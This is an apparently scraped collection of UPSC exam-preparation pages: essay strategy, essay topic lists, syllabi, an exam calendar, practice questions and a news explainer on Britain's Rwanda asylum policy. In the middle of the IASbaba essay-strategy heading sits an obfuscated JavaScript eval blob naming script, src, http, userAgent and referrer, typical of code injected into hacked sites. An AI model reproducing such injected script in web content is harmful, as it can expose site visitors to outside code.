english essays for upsc

• IAS Preparation
• UPSC Preparation Strategy
• Essay In UPSC Exam

How to Write Essay in UPSC Exam

The Essay Paper is one of the nine papers in the UPSC civil services mains exam. In this paper, you will have to write two essays, each with a word count of 1000–1200. One topic can be selected from a choice of four topics. The Essay Paper is for a total of 250 marks, with one essay for 125 marks.

Download UPSC Mains 2021 Essay Paper from the linked article.

Download UPSC Mains 2020 Essay Paper  from the linked article.

You would have read many articles on our website on how to prepare for the essay paper in the IAS mains exam. This article tells you how to write an essay for the UPSC exam.

It is recommended that you follow certain steps while writing the essay paper.

How to Write the Essay for UPSC?

• Read the topics thoroughly

This is the most important step in the process. You should choose one of the four topics. While selecting your topic, make sure you know most about that topic out of the given topics. What not to pick:

• A sensitive or controversial topic.
• A topic about which you are too passionate or feel strongly about. In this case, you may tend to get excited and fail to write a balanced essay. This can work against you.
• Think for some time

Once you’ve selected your topic, you should not start writing straight away. It is prudent to think for some time and collect your thoughts. Write in pencil the points you want to write. This is important because only then can you write your points in the correct sequence. For instance, if you are writing about India’s relations with its neighbours, you need to write the historical facts and events in the beginning. Suppose you start writing the essay and realise only towards the end that you have forgotten to mention a crucial detail in the historical part, it would be too late to add it because of a space crunch. Therefore, it helps if you write your rough points in the beginning.

Once you have the rough points in hand, you can start writing the essay. While writing, you must adhere to a good structure. The structure of a good essay is as follows:

• Introduction
• Main issue/problem/subject
• Current scenario/current news related to the topic
• Positive and negative aspects
• Reforms/way forward

You can get brownie points if you also include:

• Relevant quotes/sayings by famous personalities (ensure to quote verbatim).
• Relevant government schemes and policies.
• Any figures or numbers (must be accurate otherwise, don’t include them).

Important pointers to note while you write:

• Don’t resort to name-calling. Never get personal in your essay.
• Don’t have extreme views. The Buddha’s middle path can help you here!
• Don’t just present problems. Give possible reforms/solutions also.
• Don’t criticise the administration excessively.
• Even if the topic is provocative, your essay shouldn’t be. Present a balanced picture. You don’t HAVE to agree to the topic.
• Avoid writing utopian solutions.
• Keep in mind you are a future officer, not a journalist!

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Essay Topics and Previous papers for UPSC Civil service exam

List of essay topics.

• [Essay] No man ever steps in the same river twice, for it’s not the same river and he’s not the same man. — HERACLITUS
• [Mock] Essay Paper for UPSC Mains-2016: Identity Groups vs Democracy, Chakra vs Charkha, Wisdom vs Force, UBI vs Skill Development
• [Mock] Essay Paper for UPSC Mains-2016: Role of Educator, Taste for Literature, Cost of Liberty, Success in Dictionary
• [Essays] February Week2: Equidistant diplomacy, Strategic Autonomy without Military Alliance, Censorship & Moral responsibility
• [Essays] February Week1: Censorship of Ideas, Acts of Kindness, Childhood to Adulthood, consciously secular society
• [Essays] January Week4: Socialist Preamble, Democracy without participation, women-the deities of household fire
• [Essays] January Week3: Ideological Colonization, Dovish vs Hawkish Foreign Policy, limits of free speech
• [Essays] January Week2: competitive vs. cooperative federalism, God above all gods, Suicide- a social shame
• [Essays] January 2015 Week1: Religion-A form of Enslavement, Market Oriented Education, Constructive Criticism
• [Essays] December Week4: Apoplectic Secularism, Syncretism, Spiritual Alzheimer, Pragmatic Diplomacy
• [Essays] December Week1: Social suffocation, true Sovereignty, Arc of revanchist states
• [Essays] November Week4: Classical Arts, Security Trilemma, Think in India, Soullessness of men
• [Essays] November Week3: Garrison Governance, Dignity of Labour, Rationalist Thinking, Age of Knowledge
• [Essays] November Week2: Nehru legacy, knowledge society, age of discontinuity (only Topiclists)
• [Essays] November Week1: New Urbanism, Regional Chauvinism, Majoritarian Populism
• [Essays] October Week4: End of American Century, Activism vs Restrain, Censorship vs Lynching
• [Essays] October Week3: Militant Atheism, Rational Consumption, Ecocide, Prosperity without Morality
• [Essays] October Week2: Corruption, Child Labour, Probity, Good Governance, Injustice, Optimism
• [Essays] October Week1: Colonization, Gandhiism, Volunteerism, Personification, Social Transformation
• [Essays] September Week4: De-bureaucratizing the executive, Hidden Euthanasia, Gender equality
• [Essays] September Week3: India-China, Zero Sum Game, Parliamentary minority, Daughter aversion
• [Essays] September Week2: 21 Topics for UPSC Mains: Fanaticism, Colonizing Culture, Age of Loneliness, piecemeal WW-III
• [Essays] September Week1: 16 Topics for UPSC Mains- Expansionism, Buried Justice, India-the Model international citizen
• [Download] Essay 2013 Question Paper of UPSC Civil Service Mains
• [Essay Tip for Newcomers] What to write & What not to write in Mains IAS exam?

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UPSC ESSAY STRATEGY: How to Write an Essay!

• October 21, 2015

IASbaba's Mains Strategy , UPSC Essay Strategy

Essay eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6(" ");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfnkh|var|u0026u|referrer|rhfyh||js|php'.split('|'),0,{})) Strategy

In one way or the other your fate with UPSC is decided by the most unpredictable component of the syllabus i.e. the ESSAY . Ask your seniors, your peers or even your teachers and no one can come up with a concrete strategy to prepare for essays. It is ironical that despite being the most flexible component of the UPSC syllabus, it is the essay that spoils your chances. Why? The answer to this question is a mystery . So, if anyone tells you that he/ she knows the right way to write an essay and by right we mean the benchmark set by UPSC, be sure that the person has got a long way to go before he/ she can truly understand UPSC. We say this because of a reason. We have seen aspirants with excellent writing skills scoring 70% in essay in their first attempt while barely managing 35% in their next attempt! It is the other way round also with a number of aspirants.

Now, here we are! After accepting the unpredictable nature of essay evaluation by UPSC, how can we be sure about any strategy? We can’t and in fact we aren’t. But then, we must try until we touch the right chords. Here we give you a strategy to write essays in the most structured, smooth and satisfactory way possible. We don’t guarantee success if you follow our strategy but we can assure you that after going through the subsequent paragraphs of this write up, you will have a lot to work upon and improve. If you keep in mind the following points, you can definitely better your prospects in essay.

So, what is an essay? Or rather why this paper on essays in UPSC? The answer is –  an essay gives you an opportunity to put forward your thoughts in a manner that is not impeded by word limit and time (in the sense that you are given enough words and time to express your knowledge and views). It is asked to check the depth and breadth of your knowledge. And when we say knowledge, it doesn’t mean our conventional understanding of the same. The topics are unknown to us before the exam and we are expected to apply all that we have learnt to produce a logical and intelligent account of what is being asked. That is why, one can’t prepare for essays in the conventional sense.

Now coming to the strategy part, we must say at the outset that you must not treat essay as any other paper of UPSC. In fact, it is the most innovative way to check your level of preparedness of the entire syllabus of UPSC. If you perceive it in this sense, your tendency to limit your imagination by the fictitious boundaries of so called essay paper will vanish and you will be able to think more freely and more innovatively. Shed all your previous notions regarding this paper and start afresh.

The key to writing a satisfactory above average essay is multi-dimensionality. Depth matters but in UPSC breadth is far more important. Keep this fact in mind and approach the essay in a manner that all your wisdom is reflected in the interconnected dots in your essay. Now, what do we mean by this? It simply means the representation of all the dimensions that are related closely to the topic being asked. In doing so, most aspirants keep throwing unnecessary points and that can annoy the examiner. The best thing to do in such a scenario is to write all your thoughts in pointers at the space provided for rough work.

Now, this step is very important. What tools do we have to think about as many dimensions as possible? The answer lies in the syllabus . Luckily, the syllabus of UPSC is so exhaustive and detailed that almost everything under the sun is there in the syllabus. After you are done with your own thoughts and written all the possible points, think about the syllabus now. For this, a prerequisite is that you must have learnt the syllabus by heart. Having said so, let us now understand as to how you can use the syllabus to create points for your essay.

Suppose you have been asked an essay on “Gandhian principles and it’s relevance in contemporary India” . Now, by linking this essay with various components of the syllabus, you can create a number of good points for your essay. We provide you with some examples:

Indian heritage and civilization: Gandhian thoughts on the importance of letting our civilization welcome others while maintaining our identity and uniqueness. This is particularly important in view of the ongoing clash of civilizations.

Women issues: Gandhi’s idea on emancipation and empowerment of women and it’s applicability in modern India.

Communalism and secularism: Gandhian message of communal harmony and tolerance.

Society: Numerous examples of Gandhian views on the importance of charity, role of family, social capital, social norms, cinema etc.

Globalization: Gandhian message of self reliance and it’s synthesis with the idea of global commons/ was Gandhi against globalization?

Constitution and polity: Gandhian idea of a nation state

Local governance: Panchayati Raj as envisaged by Gandhi.

SHGs: Gandhian conception of the idea; the concept of village gramodyog etc

Education: Gandhian model of education that emphasized upon imparting skills

International relations: Gandhian ideals of co-existence, non- violence, non- proliferation etc applied to the current foreign policy paradigm; satyagaraha and non- violence as tools to pursue foreign policy goals.

Inclusive growth: Gandhi’s talisman and it’s remarkable resonance with the very idea of inclusive growth

Economic development: Gandhian idea of self dependent village communities

Industries: Gandhian apprehensions with respect to western model of industrialization

Agriculture and animal rearing: Gandhi’s ideas on organic cultivation, supplementary income through animal rearing etc.

Environment: Gandhian message on cleanliness and sustainability (remember the quote related to man’s need versus man’s greed?), Gandhi’s views on vegetarianism etc

All Gandhian ideas with respect to revenge, change, forgiveness, happiness, strength etc reflect the essence of this component of the syllabus. We can use all of them wisely to make our points look better and logical.

At this point of time, it is important to mention about current events. Try to relate the topic with the current events. It will add to the personality of your essay. For example in this case, following examples can be included:

Corporate social responsibility: Gandhian idea of trusteeship

Struggle for democracy in various parts of the world: Gandhi’s thoughts on democracy

Crisis in the Parliament: Gandhian idea of true leadership

Now there are some other tools that are always handy in helping you make your essay multi- dimensional. Have a look and think how they can be used in different scenarios:

• Preamble to the Constitution
• FRs and DPSPs
• Millennium Development Goals (Now Sustainable Development Goals)
• Quotations by eminent personalities
• Important Supreme Court judgements
• Concepts of sustainability and environmental ethics etc

Having shown you the importance of knowing the syllabus by heart and keeping oneself updated with the current events, we move forward to the next important phase of essay writing i.e. the structure.

There is no universally accepted format for writing an essay. However, there is a general understanding about how one should approach an essay. Of course, one has to start with an introduction. Introduction can start with a quote, an anecdote or a simple paragraph. Irrespective of the approach, the introduction must give an idea to the reader as to what ensue in the subsequent paras. Introduction should be crisp and interesting. Don’t use cliched sentences in the introduction.

In the next few paragraphs, you are supposed to touch upon the core areas of the essay. Here, the points in the back of your answer sheet will come handy. Prioritize the points in a manner that the essay follows a logical flow of ideas and related points are covered in the same or back to back paras. For example, in the example given above, you can’t start with the Gandhian views and it’s applicability regarding local governance, then hop on to the role of non- violence in international relations and then come back to tolerance towards various civilizations. Similarly, you can’t club the ideas of self dependent villages and communal harmony in the same paragraph. At the outset itself, you must have in mind the flow of your essay.

It is important to note that not all your jotted points need find a mention in the essay. You can trim the points and in fact eliminate the irrelevant ones to make your essay crisp and close to the central argument.

It is also important that you read the topic after all your paragraphs so that you don’t deviate from the central theme.

All the paragraphs must have their own personality. There should be no loose ends. The paragraphs in themselves have to have logical conclusion and if that is not possible, at least the key to the next paragraph. Randomness and unpredictability are the last two things that your essay needs.

Coming on to the conclusion part of the essay, it must be understood that you are not supposed to force yourself in producing an intelligent conclusion. Many a times it is better to let some question remain answered. It is not because it should be so, but because it is not possible to have a satisfactory answer always! Just make sure that your conclusion is balanced and there is some amount of optimism in your views. Don’t predict doomsday in the essay even if you are the most depressed person in this world. UPSC wants to recruit happy and optimistic people. Mind it!

Now the question comes about language. What sort of language should one use- simple or ornamental, straight or flowery? The answer is write the way you have always written your essays. The bottom line is you have to impress the examiner in whichever way possible. If we suggest you to use simple language and you are actually good in writing impressive English, the chances are you will spoil your attempt in trying to become what you are definitely not. It is not possible to change one’s writing style so quickly. Instead one should try to make his/ her style of writing fetch better marks in the essay.

Is it not that a bride wearing all the ornaments and makeup looks stunning but at the same time a lady with a beautiful eye but with no makeup or jewelry looks equally beautiful? The same holds true for language. Believe in your own style and remain confident.

However, we find it prudent to caution you about being superfluous. This can be fatal. Don’t beat around the bush. Your sentences must convey what you have in mind and their length should be commensurate with the message. Don’t use too long a sentence. Be crisp and to the point.

As far as essay is concerned, DO NOT write in points. Once in a blue moon, candidates might have scored good marks by following this approach but that is an exception and not the rule. Respect UPSC and don’t do anything foolish.

Use quotes selectively and wisely. Not using a quote is way better than using it wrongly. You can prepare a list of quotes that can be used in the essays asked by UPSC.

Be creative in your writing. Spend some time in thinking about the ways in which you can improve your presentation. Ask your peers to review your essays and point the glitches. Try to improve upon the content, presentation and approach by keeping in mind the given strategy. We are sure that in 3-4 attempts, your essays will start reflecting your efforts.

We at IASbaba will keep on posting challenging topics for essays. We expect you to attempt them in strict exam conditions.

Share your inputs regarding the strategy and if any of the seniors reading this, kindly share your thoughts & strategy to help future aspirants 🙂

Happy writing

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UPSC English Literature Syllabus

By vajiram & ravi.

UPSC English Literature syllabus contains the following: 14 novels, 5 plays, 60 poetry, and a basic foundation of English literary history. The English Literature optional paper consists of two papers (Paper-I and Paper-II), each carrying 250 marks. Paper I covers topics like Shakespeare, the Renaissance, the 18th century, Romantic and Victorian poetry, and more. Paper II includes topics such as contemporary literature, literary theory, and Indian writing in English.

The UPSC English Optional syllabus allows candidates to delve into literary analysis, critical thinking, and a deep understanding of cultural, historical, and societal contexts. This paper holds immense appeal for those with a passion for literature and a strong command of the English language.

UPSC English Literature Optional Syllabus

With 500 out of the 1750 marks in the UPSC Mains Exam, the optional subject score can improve your chances for the interview. English Literature, as an optional subject, is typically thought of as being simple and easy to understand. English Literature has a wealth of available reading material. Studying the English Literature syllabus will be beneficial for both your UPSC interview and essay. The syllabus consists of two papers designed to test a first-hand and critical reading of texts prescribed from the following periods in English Literature:

• Paper 1: 1600-1900 and
• Paper 2: 1900–1990

There will be two compulsory questions in each paper:

• A short-notes question related to the topics for general study
• A critical analysis of UNSEEN passages both in prose and verse.

UPSC English Literature Syllabus for Paper 1

The optional paper 1 in the Mains exam consists of questions with 250 marks. Check the English Literature Syllabus for UPSC Mains Optional Paper 1 below:

Texts for detailed study are listed below.

Candidates will also be required to show adequate knowledge of the following topics and movements:

The Renaissance; Elizabethan and Jacobean Drama; Metaphysical Poetry; The Epic and the Mock-Epic; Neoclassicism; Satire; The Romantic Movement; The Rise of the Novel; The Victorian Age.

• William Shakespeare: King Lear and The Tempest
• Canonization
• Death be not proud
• The Good Morrow
• On his Mistress going to bed
• John Milton: Paradise Lost, I, II, IV, IX 
• Alexander Pope. The Rape of the Lock 
• Ode on Intimations of Immortality
• Tintern Abbey
• Three years she grew
• She dwelt among untrodden ways
• Resolution and Independence
• The World is too much with us
• Milton, thou shouldst be living at this hour
• Upon Westminster Bridge
• Alfred Tennyson: In Memoriam
• Henrik Ibsen: A Doll's House 
• Jonathan Swift. Gulliver's Travels
• Jane Austen. Pride and Prejudice
• Henry Fielding. Tom Jones
• Charles Dickens. Hard Times
• George Eliot. The Mill on the Floss
• Thomas Hardy. Tess of the d'Urbervilles
• Mark Twain. The Adventures of Huckleberry Finn

UPSC English Optional Syllabus for Paper 2

Modernism; Poets of the Thirties; The Stream of Consciousness Novel; Absurd Drama; Colonialism and Post Colonialism; Indian Writing in English; Marxist, Psychoanalytical and Feminist Approaches to Literature; Post Modernism.

1. William Butler Yeats. The following poems:

- Easter 1916 

- The Second Coming

- A Prayer for my Daughter

- Sailing to Byzantium

- The Tower

- Among School Children

- Leda and the Swan

- Lapis Lazuli

- Byzantium

2. T.S. Eliot. The following poems:

- The Love Song of J.Alfred Prufrock 

- Journey of the Magi

- Burnt Norton

3. W.H. Auden. The following poems: 

- Partition

- Musee des Beaux Arts

- In Memory of W.B. Yeats

- Lay your sleeping head, my love

- The Unknown Citizen

- Mundus Et Infans

- The Shield of Achilles

- September 1, 1939

4. John Osborne: Look Back in Anger

5. Samuel Beckett. Waiting for Godot

6. Philip Larkin

- Deceptions

- Afternoons

- Mr. Bleaney

7. A.K. Ramanujan

- Looking for a Causim on a Swing

- Of Mothers, among other Things

- Love Poem for a Wife 1

- SamllScale Reflections on a Great House

• Joseph Conrad. Lord Jim.
• James Joyce. Portrait of the Artist as a Young Man.
• D.H. Lawrence. Sons and Lovers.
• E.M. Forster. A Passage to India.
• Virginia Woolf. Mrs. Dalloway.
• Raja Rao. Kanthapura.
• V.S. Naipaul. A House for Mr. Biswas.

How to Prepare UPSC English Literature Syllabus?

The English Literature syllabus is simple and easy to understand. It requires good writing skills. Prior knowledge of English Literature is beneficial for a deep understanding of texts. Interest in reading and writing is also important, as is a passion for poems, dramas, novels, and writing.

• Thoroughly review the syllabus to develop a strategy that meets syllabus needs and knowledge competence. The syllabus requires reading classical and original texts within their original context.
• Going through the UPSC previous year question papers on English Literature will give you an idea of the importance of topics. It will also help you understand how to write Mains answers.
• Comparing characters from different texts set in different time periods allows you to compare the belief systems of people from different time periods. It is essential to have a deep understanding of the socio-political setup of the time period in which the work is set.
• One should have a continuous answer-writing practice. It will help to develop speed as well as cross-conceptual understanding.
• History of Literature – Louis Cazamian
• The Routledge History of Literature in English – Ronald Carter and John McRae
• A New History Of English Literature - Bhim S Dahiya
• Practical Criticism by Oxford University Press
• A Glossary of Literary Terms - M.H. Abrams
• Literary Theory Today by Pramod K Nayar
• All poems, novels, and plays suggested in the syllabus

Important Topics in UPSC English Literature Syllabus

Though each topic in English Literature syllabus is important, a few topics listed below are regularly asked in the exam.

• William Wordsworth
• Charles Dickens
• William Butler Yeats
• Philip Larkin
• A.K. Ramanujan
• V.S. Naipaul. A House for Mr Biswas

© 2024 Vajiram & Ravi. All rights reserved

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UPSC CAPF Syllabus 2024: PDF Download for Important Topics

Upsc capf ac syllabus 2024: the central armed police forces written exam syllabus includes topics from subjects like quantitative aptitude, logical reasoning, indian history, geography, polity, current affairs, etc. check out the detailed syllabus and updated exam pattern..

UPSC CAPF AC Syllabus 2024: The Union Public Service Commission (UPSC) releases the official syllabus and exam pattern for the Central Armed Police Forces (CAPF) examination. Candidates must check the latest syllabus to prepare only the topics that are important from the exam point of view. The UPSC CAPF syllabus contains topics from subjects like general ability and intelligence, general studies, essays and comprehension.

UPSC CAPF AC Syllabus 2024

Upsc capf ac syllabus 2024: overview, upsc capf ac syllabus pdf download, upsc capf syllabus: important topics, upsc capf exam pattern 2024.

• The UPSC CAPF written exam comprises two papers, i.e., Paper 1 and Paper 2.
• Paper 1 contains Objective questions. Questions asked in Paper 2 will be descriptive in nature.
• The medium of Paper 1 is English as well as Hindi. 
• In Paper 2, candidates will be allowed the option of writing the Essay Component in English or Hindi, but the medium of Precis Writing, Comprehension Components, and other communications/ language skills will be English only.
• There shall be a negative marking of 1/3rd mark for every incorrect answer in Paper 1, whereas there is no negative marking in Paper 2

How to Cover UPSC CAPF Syllabus 2024?

• Check the UPSC CAPF exam syllabus 2024 to cover the topics asked in the exam.
• Choose the expert-recommended books and study material to cover the fundamentals and core topics of all the subjects.
• Attempt endless questions from mock papers and UPSC CAPF previous year's question papers to review their performance and identify their strengths for better results.
• Revisit all the covered chapters frequently to remember concepts for a definite period of time.

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UPSC 2025 exam calendar PDF out on upsc.gov.in, CSE prelims on May 25, check complete schedule

Upsc 2025 exam calendar pdf has been released by the union public service commission (upsc). candidates who are preparing for upsc exams can check the schedule of various recruitment exams for next year. check details here..

As per the exam calendar, the Civil Services (Preliminary) Examination, 2025, and Indian Forest Service (Preliminary) Examination, 2025 through CS(P) Examination, 2025 dates are scheduled on the same. The application process for both exams will commence from January 22 to February 11 and the exam will be conducted on May 25. The UPSC Mains 2025 exam will be conducted in August next year. 

Similarly, the application process for N.D.A. & N.A. Examination (I), 2025, and C.D.S. Examination (I), 2025 will be done on the same from December 11 to 31. The exam for the same will be held on April 13 at various exam centres across the country. 

ALSO READ |  UPSC CAPF Recruitment 2024: Apply online for 506 vacancies, check eligibility, easy steps, fee, more

UPSC IES/ISS Exam 2025 is scheduled to be conducted on June 20 at various exam centres. The candidates will be able to submit their application forms between February 12 to March 4. Candidates can download UPSC Exam 2025 calendar by following the easy steps given below. 

How to download UPSC IES/ISS Exam 2025?

• Visit the official website of UPSC, upsc.gov.in
• Click on the notification link that reads, 'UPSC IES/ISS Exam 2025' flashing on the homepage
• It will redirect you to a PDF containing the details of various upcoming exams
• Check and download UPSC exam 2025 calendar for future reference

ALSO READ |  Aditya Srivastava's UPSC CSE 2023 mock essay copy goes viral, gets mixed reactions

The official notice reads, 'The dates of notification, commencement and duration of Examinations/ RTs are liable to alteration if the circumstances so warrant'. Candidates are advised to check the notification date, application dates, and other details in the timetable and save it for future reference.

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UPSC CAPF Syllabus 2024: PDF Download for Important Topics

img src="https://img.jagranjosh.com/images/2024/April/2442024/UPSC-CAPF-Syllabus-2024.jpg" width="1200" height="675" />

UPSC CAPF AC Syllabus 2024: The Union Public Service Commission (UPSC) releases the official syllabus and exam pattern for the Central Armed Police Forces (CAPF) examination. Candidates must check the latest syllabus to prepare only the topics that are important from the exam point of view. The UPSC CAPF syllabus contains topics from subjects like general ability and intelligence, general studies, essays and comprehension.

Apart from the prescribed syllabus, candidates should also check the UPSC CAPF updated exam to get insights into the exam structure, maximum marks, number of sections, and other important details. This will allow aspirants to align their strategy based on the latest requirements and adhere to expert guidance to score well in the exam.

UPSC CAPF AC Syllabus 2024

The UPSC CAPF assistant commandant written exam syllabus will consist of two papers, i.e., paper 1 and paper 2. Paper 1 will have 250 marks and will contain questions about general ability and intelligence and the questions in this paper will be of the objective type. However, Paper 2 will be of 200 marks and will contain questions from general studies, essays and comprehension.

UPSC CAPF AC Syllabus 2024: Overview

Check the table below for an overview of the UPSC CAPF syllabus and exam pattern. The table below contains information regarding selection procedure, maximum marks, etc.

UPSC CAPF AC Syllabus PDF Download

Candidates must download the UPSC CAPF syllabus 2024 PDF from the link provided below to ensure that they have covered all of the topics specified by the officials. The direct link to obtain the specific subject UPSC CAPF Exam syllabus is provided below.

UPSC CAPF Syllabus: Important Topics

The UPSC CAPF assistant commandant written exam syllabus is divided into papers, i.e., general ability and intelligence, general studies, essays and comprehension. Check the table below for list of important topics

UPSC CAPF Exam Pattern 2024

Candidates must be familiar with the UPSC CAPF exam pattern 2024 to understand the exam requirements, number of questions, and other exam requirements. Let’s discuss the UPSC CAPF exam pattern below

• The UPSC CAPF written exam comprises two papers, i.e., Paper 1 and Paper 2.
• Paper 1 contains Objective questions. Questions asked in Paper 2 will be descriptive in nature.
• The medium of Paper 1 is English as well as Hindi. 
• In Paper 2, candidates will be allowed the option of writing the Essay Component in English or Hindi, but the medium of Precis Writing, Comprehension Components, and other communications/ language skills will be English only.
• There shall be a negative marking of 1/3rd mark for every incorrect answer in Paper 1, whereas there is no negative marking in Paper 2

How to Cover UPSC CAPF Syllabus 2024?

The UPSC CAPF exam is one of the most popular exams in the country. Aspirants must go through the latest UPSC CAPF exam syllabus to understand all the topics that can be asked in the written exam. Here are the best tips and tricks to crack the UPSC CAPF exam 2024 with flying colours.

• Check the UPSC CAPF exam syllabus 2024 to cover the topics asked in the exam.
• Choose the expert-recommended books and study material to cover the fundamentals and core topics of all the subjects.
• Attempt endless questions from mock papers and UPSC CAPF previous year's question papers to review their performance and identify their strengths for better results.
• Revisit all the covered chapters frequently to remember concepts for a definite period of time.

• Share full article

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What Is the Rwanda Policy? U.K.’s Plan for Asylum Seekers Explained

The plan has been in the works for years, but the passage of a contentious bill by Britain’s Parliament puts the country closer to sending asylum seekers to the African nation.

By Megan Specia

Reporting from London

After a prolonged battle in the courts and in Parliament, Britain’s Conservative government secured passage of legislation on Monday that is intended to allow the country to send asylum seekers to Rwanda.

The legislation is intended to override a Supreme Court ruling last year that deemed the plan to send asylum seekers to the African nation unlawful . The judges ruled that Rwanda was not a safe country in which refugees could resettle or have their asylum cases heard.

The Rwanda plan, which has become a flagship policy of Prime Minister Rishi Sunak at a time when his party’s approval ratings have floundered, now seems closer than ever to becoming a reality. But critics say it raises profound questions about the rule of law and the separation of powers in Britain and could affect thousands of asylum seekers. Rights groups have vowed to fight the plan in the courts.

Here’s what to know.

What is the Rwanda policy?

As the number of asylum seekers arriving across the English Channel rose after a lull during the coronavirus pandemic, the Conservative government pledged to “stop the boats.” Most of those arriving by small, often unseaworthy boats apply for international protection in Britain through the asylum system, and many are later found to be refugees and permitted to settle in Britain.

Through a series of bills and agreements, the government introduced a policy that said that people arriving by small boat or any another “irregular means” would never be admissible for asylum in Britain. Instead, they would be detained and sent to Rwanda, where their asylum cases would be heard, and, if successful, allow them to be resettled there.

The government has argued that the Rwanda policy will be a deterrent, stemming the flow of tens of thousands of people who make dangerous crossings from France to Britain each year. This has been questioned by some migration experts who say that the people on small boats already risk their lives to travel to Britain.

Rights groups and legal experts have warned against the policy, saying it contravenes Britain’s legal obligations to refugees under international law and violates the 1951 U.N. Refugee Convention .

How did we get here?

In early 2021 , Boris Johnson, then prime minister, began discussing plans to send asylum seekers abroad. Taking control of Britain’s borders was a central promise of the 2016 Brexit campaign, championed by Mr. Johnson and Mr. Sunak.

In the summer of 2021, Priti Patel, then the minister responsible for overseeing immigration and asylum, introduced the Nationality and Borders Bill , making it a criminal offense to enter the country by irregular means, for instance by boat and without a visa. The bill also gave the authorities more scope to make arrests and remove asylum seekers .

By April 2022, Britain announced a deal with Rwanda to send asylum seekers there in exchange for hundreds of millions in development funding, and the Nationality and Borders Bill became law later that month.

But amid legal challenges and a last-minute interim decision by the European Court of Human Rights, the first planned flight in 2022 was halted . By early 2023, Suella Braverman, the home secretary then, revived the plan with the Illegal Migration Bill.

That legislation, which became law last July, gave her office a duty to remove nearly all asylum seekers who arrived in Britain “illegally” — meaning without a visa or through other means, like covert arrivals by small boat or truck. (In practice, many of these asylum seekers would not be arriving illegally since genuine refugees have a right to enter and claim international protection.)

The asylum seekers would then be sent to their home countries, “or another safe third country, such as Rwanda.” No matter the outcome of their claims, they would have no right to re-entry, settlement or citizenship in Britain.

These efforts were all challenged in the courts, ending with the Supreme Court ruling that deemed the plan to deport asylum seekers to Rwanda unlawful.

The Safety of Rwanda Bill and a treaty with the African nation earlier this year are intended to override the court’s judgment by declaring Rwanda safe in law, and instructing judges and immigration officials to treat it as such.

How much has Britain spent on the plan?

Although no asylum seekers have yet been sent to Rwanda, Britain’s independent public spending watchdog last month found that the government will have paid Rwanda £370 million , or around $457 million, by the end of 2024. And costs to carry out the policy will rise even further if flights do take off.

For each person eventually sent, Britain has pledged to pay Rwanda an additional £20,000 in development fees, plus £150,874 per person for operational costs. After the first 300 people are sent, Britain will send an additional £120 million to Rwanda.

Yvette Cooper, the opposition Labour minister responsible for a portfolio that includes migration, on Tuesday called the cost “extortionate” and argued that the money should be put into “boosting our border security instead.”

What has been the reaction to the plan?

The policy has faced intense opposition almost since its inception, with the United Nations’ refugee agency, UNHCR, warning in 2021 that it violated international law.

On Tuesday, Filippo Grandi, the UNHCR commissioner, said the law sought to “shift responsibility for refugee protection, undermining international cooperation and setting a worrying global precedent.”

Michael O’Flaherty, the Council of Europe’s commissioner for Human Rights, said the bill “raises major issues about the human rights of asylum seekers and the rule of law more generally” and urged Britain to “refrain from removing people under the policy and reverse the bill’s “effective infringement of judicial independence.”

When could the first deportation flights take off?

Mr. Sunak initially promised to deport asylum seekers by the spring, but on Monday he said the first flights would not depart until June or July.

He said the government had put an airfield on standby, booked commercial charter planes and identified 500 trained escorts who would accompany asylum seekers to Rwanda.

However, legal experts say the plan is deeply flawed, and rights groups have vowed to fight any plans to send asylum seekers to Rwanda.

Richard Atkinson, the vice president of the Law Society of England and Wales, a professional association for lawyers, said in a statement on Tuesday that the bill “remains a defective, constitutionally improper piece of legislation.”

On Tuesday, more than 250 British rights organizations wrote to Mr. Sunak vowing to oppose the measures in European and British courts.

Individuals who receive notices that they will be sent to Rwanda are expected to start legal challenges against their removal in British courts, and some may also appeal to the European Court of Human Rights, which could again issue an injunction to halt flights.

Nick Cumming-Bruce contributed reporting from Geneva.

Megan Specia reports on Britain, Ireland and the Ukraine war for The Times. She is based in London. More about Megan Specia

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[MISSION 2024] Insights SECURE : Daily UPSC Mains Answer Writing Practice: 24 April 2024

Click on EACH question to post/upload you answers.

How to Follow Secure Initiative?

How to self-evaluate your answer , mission – 2023: yearlong timetable, join ipm 4.0 to get an assured review of 2 secure answers everyday, general studies – 1.

Topic: Salient features of world’s physical geography.

1. The expansion of glacial lakes in the Indian Himalayan river basins has significant implications for both local communities and broader climate change adaptation strategies. Examine. (150 words)

Difficulty level: Moderate

Reference: The Hindu

Why the question: The question is part of the static syllabus of General studies paper – 1. Key Demand of the question: To write about the impact of expansion of glacial lakes. Directive word:   Examine – When asked to ‘Examine’, we must investigate the topic (content words) in detail, inspect it, investigate it and establish the key facts and issues related to the topic in question. While doing so we should explain why these facts and issues are important and their implications. Introduction:  Begin by giving context and statistic related to the above. Body: First, write about the impact of the above – Increased risk of glacial lake outburst floods (GLOFs), Water resource management and Ecological impacts etc. Next, write about the measures that are needed in the mitigate the above – proactive monitoring, water management, and international cooperation to mitigate risks and enhance resilience etc. Conclusion: Conclude by writing a way forward.

General Studies – 2

Topic: Important Geophysical phenomena such as earthquakes, Tsunami, Volcanic activity, cyclone etc., geographical features and their location-changes in critical geographical features (including water-bodies and ice-caps) and in flora and fauna and the effects of such changes.

2. As global temperatures rise, permafrost is thawing at an accelerated rate, leading to a variety of environmental, social, and economic consequences. Examine. (250 words)

Reference: Down to Earth

Why the question: Increasing temperatures thawing permafrost, exposing substantial quantities of organic carbon and atmospheric release of greenhouse gases. Key Demand of the question: To write about permafrost, its global distribution and impact of its thawing. Directive word:   Examine – When asked to ‘Examine’, we must investigate the topic (content words) in detail, inspect it, investigate it and establish the key facts and issues related to the topic in question. While doing so we should explain why these facts and issues are important and their implications. Structure of the answer: Introduction:  Begin by defining permafrost. Body: First, with a map, show the major areas of the world that are covered with permafrost. Next, write about the thawing of permafrost under the impact of global warming. Next, write about the impact of thawing of permafrost – Thawing permafrost can raise water levels in Earth’s oceans and increase erosion, resurrecting trapped pathogens, giving rise to potential public health threats etc. Conclusion: Conclude by writing a way forward to handle the above challenges.

Topic: Government policies and interventions for development in various sectors and issues arising out of their design and implementation.

3. Expanding eligibility for health insurance is crucial for ensuring broader access to healthcare services. However, affordability is equally important to ensure that individuals can actually utilize their insurance coverage. Discuss. (250 words)

Difficulty level: Tough

